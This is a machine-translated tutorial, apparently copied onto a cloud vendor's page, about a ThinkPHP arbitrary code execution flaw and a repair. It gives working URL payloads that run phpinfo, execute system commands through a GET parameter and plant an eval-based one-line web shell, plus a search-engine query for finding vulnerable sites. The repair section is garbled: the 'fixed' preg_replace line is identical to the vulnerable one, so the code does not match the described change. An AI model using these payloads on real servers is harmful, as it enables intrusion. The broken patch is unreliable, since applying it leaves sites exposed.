thinkphp framework arbitrary code execution exploit and repair method _php Tutorial

Source: Internet
Author: User
Thinkphp is a well-known open source PHP framework that was created to simplify enterprise application development and Agile Web application development. First born in early 2006, the original fcs,2007 New Year's Day officially renamed Thinkphp, and follow the Apache2 open source agreement released. The early thought framework came from struts, which was later improved and perfected, and also borrowed from many excellent foreign frameworks and models, using object-oriented development structures and MVC patterns to fuse struts ' action and DAO Ideas and JSP taglib (tag library), ROR's ORM Mapping and ActiveRecord mode, encapsulating curd and some common operations, single entry mode, etc., have unique performance in the template engine, caching mechanism, authentication mechanism and extensibility.

However, the recent thinkphp framework has revealed an arbitrary code execution vulnerability, which is highly harmful and exploits the following methods:

index.php/module/aciton/param1/${@print (think_version)} index.php/module/aciton/param1/${@function_all ()}

One of the Function_all represents any function, such as:

index.php/module/aciton/param1/${@phpinfo ()}

You can obtain system configuration information for the server, and so on.

Index.php/module/action/param1/{${system ($_get[' x '])}}?x=ls-al

List of web site files can be listed

Index.php/module/action/param1/{${eval ($_post[s])}}

You can directly execute a sentence code, with a kitchen knife directly connected.

This allows hackers to search the keyword directly through Google: thinkphp intitle: A system error has occurred to get more lists of sites using the thinkphp framework. It can be seen that its harmfulness is quite large.

thinkphp Framework execution of arbitrary Code vulnerability Repair method:

Users can download the official release of the Patch:

http://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838

or directly modify the source code:

Add the/thinkphp/lib/core/dispatcher.class.php file in the

$res = Preg_replace (' @ (w+) '. $depr. ' ([^ '. $depr. ' \/]+) @e ', ' $var [\ ' \\1\ ']= ' \\2 '; ', implode ($DEPR, $paths));

Modified to:

$res = Preg_replace (' @ (w+) '. $depr. ' ([^ '. $depr. ' \/]+) @e ', ' $var [\ ' \\1\ ']= ' \\2 '; ', implode ($DEPR, $paths));

Change the double quotation mark in preg_replace second argument to single quotation mark to prevent PHP variable syntax from being parsed.

Note: This article is for study reference only, please do not use for illegal use.

http://www.bkjia.com/PHPjc/824633.html www.bkjia.com true http://www.bkjia.com/PHPjc/824633.html techarticle thinkphp is a well-known open source PHP framework that was created to simplify enterprise application development and Agile Web application development. First born in early 2006, formerly fcs,2007 New Year's Day formally more ...

  • Contact Us

    The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

    If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.